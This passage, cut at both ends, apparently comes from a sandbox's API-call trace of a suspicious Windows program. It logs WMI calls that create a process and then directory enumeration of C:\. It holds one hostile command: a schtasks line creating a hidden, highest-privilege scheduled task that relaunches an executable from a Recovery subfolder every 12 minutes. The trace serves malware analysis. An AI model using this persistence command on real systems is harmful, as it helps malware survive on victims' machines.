[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0146.137] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x2 [0146.137] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x1 [0146.137] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0146.137] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0ae0) returned 0x0 [0146.137] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ae0) returned 0x3 [0146.137] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x2 [0146.137] WbemDefPath:IWbemPath:SetText (This=0x1bbc0ae0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0146.137] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ba0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ae0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0146.138] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc0ba0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ae0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0ae0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0ae0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0146.138] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0ba0, uIndex=0x0, pszName="root") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0ae0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0ae0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0146.138] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0ba0, uIndex=0x1, pszName="cimv2") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0ae0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0ae0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0ba0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0ba0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0ba0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ba0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0146.138] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0146.139] IWbemServices:GetObject (in: This=0x1bc0af40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc77040, ppCallResult=0x0) returned 0x0 [0146.142] IWbemClassObject:GetMethod (in: This=0x1bc77040, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc773b0, ppOutSignature=0x1bb7e690*=0x1bc77720) returned 0x0 [0146.142] IWbemClassObject:SpawnInstance (in: This=0x1bc773b0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa17250) returned 0x0 [0146.142] IWbemClassObject:Get (in: This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5168*=0, plFlavor=0x27a516c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5168*=8, plFlavor=0x27a516c*=32) returned 0x0 [0146.142] IWbemClassObject:Get (in: This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5168*=8, plFlavor=0x27a516c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5168*=8, plFlavor=0x27a516c*=32) returned 0x0 [0146.142] IWbemClassObject:Put (This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0146.143] IWbemClassObject:Get (in: This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a51f8*=0, plFlavor=0x27a51fc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a51f8*=13, plFlavor=0x27a51fc*=32) returned 0x0 [0146.143] IWbemClassObject:Get (in: This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a51f8*=13, plFlavor=0x27a51fc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a51f8*=13, plFlavor=0x27a51fc*=32) returned 0x0 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc76960) returned 0x0 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0146.143] IUnknown:AddRef (This=0x1bc76960) returned 0x3 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc76968) returned 0x0 [0146.143] IMarshal:GetUnmarshalClass (in: This=0x1bc76968, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0146.143] IUnknown:Release (This=0x1bc76968) returned 0x3 [0146.143] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0146.143] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0146.143] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0146.144] IUnknown:Release (This=0x1bc76960) returned 0x2 [0146.144] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0146.144] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0146.144] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0146.144] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0146.144] IUnknown:QueryInterface (in: This=0x1bc76960, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0146.144] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0146.144] IUnknown:AddRef (This=0x1bc76960) returned 0x3 [0146.144] IWbemClassObject:Put (This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc76960, varVal2=0x0), Type=0) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fa90, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0146.144] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0146.144] IWbemServices:ExecMethod (in: This=0x1bc0af40, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa17250, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17500, ppCallResult=0x0) returned 0x0 [0146.470] IWbemClassObject:Get (in: This=0x1aa17500, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5510*=0, plFlavor=0x27a5514*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39c, varVal2=0x0), pType=0x27a5510*=19, plFlavor=0x27a5514*=0) returned 0x0 [0146.471] IWbemClassObject:Get (in: This=0x1aa17500, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27a5510*=19, plFlavor=0x27a5514*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39c, varVal2=0x0), pType=0x27a5510*=19, plFlavor=0x27a5514*=0) returned 0x0 [0146.471] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0146.471] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.472] CoTaskMemFree (pv=0x1a988070) [0146.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0146.472] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0146.472] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc46b70 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x1bc46b70, 